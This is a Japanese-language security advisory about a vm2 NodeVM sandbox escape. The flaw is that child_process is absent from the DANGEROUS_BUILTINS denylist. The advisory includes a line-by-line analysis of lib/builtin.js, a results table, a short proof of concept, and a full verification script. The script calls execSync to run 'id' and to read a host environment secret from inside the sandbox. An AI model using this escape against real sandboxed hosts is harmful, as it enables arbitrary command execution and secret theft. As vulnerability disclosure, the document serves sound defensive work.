vm2には、サンドボックスからの脱出の脆弱性が含まれています。
vm2 NodeVMのバージョン3.12.1より前のものには、サンドボックスからの脱出の脆弱性があり、DANGEROUS_BUILTINSの禁止リストにchild_processが含まれていないため、他のホストプロセスを生成するモジュールはブロックされます。攻撃者は、NodeVMがbuiltin:['*']で設定されているか、またはchild_processが明示的に許可されている場合に、child_processをrequireし、ホストシステム上で任意のコマンドを実行することができます。
この派生版では、`NodeVM`を強化するために、ホストコードが到達する可能性のあるコアモジュールをブロックする`DANGEROUS_BUILTINS`の禁止リストが導入されています。**これは、サンドボックスが`builtin:['*']`を要求するか、またはモジュールを明示的に指定する場合でも適用されます。** このリストには、`module`、`worker_threads`、`cluster`、`vm`、`repl`、`inspector`、`process`、`trace_events`、`wasi`、`diagnostics_channel`、`async_hooks`、`perf_hooks`、`v8`、`os`、`dns`、および`test`が含まれています。 **このリストには、`child_process`が除外されています。** これは、最も直接的なコマンド実行機能です。 その結果、`require:{builtin:['*']}`(またはこの派生版独自のドキュメントに記載されている`['*','-http','-net',…]`の除外パターン)で動作するサンドボックスは、`require('child_process').execSync(...)`を実行し、ホスト上で任意のコマンドを実行することができます。 この除外は、内部的に矛盾しています。`cluster`は、明示的な理由として「`cluster.fork()`は、攻撃者が制御するコードを実行するホストの子プロセスを生成する」ために禁止されていますが、より直接的にホストプロセスを生成する`child_process`は禁止されていません。
### 詳細
`lib/builtin.js`:
- `DANGEROUS_BUILTINS` (83行目~179行目) — 許可されていない組み込み関数の一覧。`child_process` はどこにも含まれていません。
- `isDangerousBuiltin(key)` (185行目~195行目) — `node:` プレフィックスを取り除き、`DANGEROUS_BUILTINS` に対してファミリープレフィックスのマッチングを行います。`child_process` に対しては `false` を返します。
- `BUILTIN_MODULES` (209行目~210行目) — `'*'` ワイルドカードが展開されるモジュールのリスト。これは `builtinModules.filter(s => !s.startsWith('internal/') && !s.startsWith('_') && !isDangerousBuiltin(s))` によって定義されます。`isDangerousBuiltin('child_process')` が `false` であるため、`child_process` は `'*'` の中に**残ります**。
- `addDefaultBuiltin` (明示的な名前による指定) も同様に、`isDangerousBuiltin` に該当する名前のみを拒否するため、`builtin:['child_process']` も許可されます。
返されるモジュールは、**実際のホストの `child_process`** (デフォルトの `require.context` は `"host"` です) であるため、`execSync`/`exec`/`spawn`/`fork` はホストの権限で実行されます。拒否リスト自体のコメント (42行目~44行目) には、これらのプリミティブは「サンドボックスから絶対にアクセスできないようにする必要がある。たとえユーザーが `'*'` を指定したり、明示的に名前を指定したりする場合でも」と記載されていますが、`child_process` はこの不変条件に違反しています。
### PoC (概念実証)
```js
const { NodeVM } = require('vm2');
const r = new NodeVM({ require: { builtin: ['*'] } }).run(`
module.exports = require('child_process').execSync('id').toString();
`, 'plugin.js');
console.log(r); // -> "uid=1000(user) gid=1000(user) groups=..." ホストコマンドの実行
```
検証結果:
| 設定 | `require('child_process')` |
|---|---|
| `{ builtin: ['*'] }` | **RCE (リモートコード実行)** — ホストの `id` コマンド実行 + ホスト環境の読み取り |
| `{ builtin: ['*', '-fs'] }` (ドキュメントに記載されている減算パターン) | **RCE** — 他のモジュールを減算しても、`child_process` は削除されない |
| `{ builtin: ['child_process'] }` | **RCE** — 明示的に名前を指定しても許可される (「名前を指定しても絶対に許可しない」という不変条件に違反) |
| `{ builtin: ['fs'] }` (コントロールグループ) | 拒否 — `'child_process' モジュールが見つかりません'` |
### 影響
ホスト環境でのリモートコード実行(RCE)が可能。これは、`NodeVM`のサンドボックスを完全に突破するものであり、`require:{builtin:['*']}` または、ドキュメントに記載されている `['*', '-x', …]` のような許可リストから除外する設定(どちらもフォークが明示的にサポートし、セキュリティを強化している)を使用している環境、または、`child_process` を許可リストから除外していると誤解され、他のホスト環境で動作する組み込み関数が拒否されるはずだと考えて、明示的に `child_process` を許可している環境に影響を与えます。攻撃者は、サンドボックス化されたスクリプトのみを制御できます。この脆弱性の悪用は、単に `require('child_process')` を実行するだけです。
### builtin-child_process-denylist-gap-rce.js
```js
'use strict';
// F-006: vm2 NodeVM の危険な組み込み関数(DANGEROUS_BUILTINS)の許可リストから `child_process` が除外されています。
// フォークの許可リスト(lib/builtin.js:83-179)は、ホスト環境のコードが到達する組み込み関数をブロックします。
// これは、`builtin:['*']` または、明示的な指定(module, worker_threads,
// cluster, vm, repl, inspector, process, os, dns, v8, test, ...)の場合でも当てはまります。
// しかし、`child_process` は除外されています。したがって、`require:{builtin:['*']}`(フォークが明示的にセキュリティを強化している、すべての関数を許可する設定)を使用すると、
// ホスト環境での直接的なリモートコード実行が可能になります。攻撃者は、サンドボックス化されたスクリプトのみを制御できます。
const path = require('path');
const { NodeVM } = require(path.resolve(__dirname, '..', 'src', 'vm2', 'lib', 'main.js'));
process.env.HOST_ONLY_SECRET = 'CANARY123'; // ホスト環境のみ; サンドボックスプロセスのスタブは env:{} を持っています。
function tryConfig(label, opts) {
try {
const r = new NodeVM({ ...opts, timeout: 2000 }).run(`module.exports = (() => {
try {
const cp = require('child_process');
return {
reached: true,
id: cp.execSync('id').toString().trim(),
hostSecret: cp.execSync('printenv HOST_ONLY_SECRET').toString().trim()
};
} catch (e) { return { reached: false, err: String(e.message).slice(0, 60) }; }
})()`, 'plugin.js');
console.log(label, '=>', JSON.stringify(r));
return r;
} catch (e) { console.log(label, '=> THREW:', e.message.slice(0, 60)); return null; }
}
```
```
console.log('--- Node.js VMによるchild_processの到達可能性に関する設定確認 ---');
const a = tryConfig("require:{builtin:['*']} ", { require: { builtin: ['*'] } });
const b = tryConfig("require:{builtin:['*','-fs']} ", { require: { builtin: ['*', '-fs'] } }); // ドキュメントに記載されている除外パターン
const c = tryConfig("require:{builtin:['fs']} (ctl) ", { require: { builtin: ['fs'] } }); // control: 許可されていない -> 拒否
const ok = a && a.reached && /uid=/.test(a.id) && a.hostSecret === 'CANARY123'
&& b && b.reached
&& c && c.reached === false;
console.log(ok
? "\n>>> 確認済み: builtin:['*'] は、child_process経由でホストのリモートコード実行(RCE)を可能にする(除外リストの隙間)。controlは許可されていない場合にそれを拒否します。"
: "\n>>> 確認されていません");
process.exit(ok ? 42 : 1);
```
影響を受けるパッケージ:
- npm (JavaScript) vm2: 影響あり <= 3.12.0、3.12.1で修正済み。
```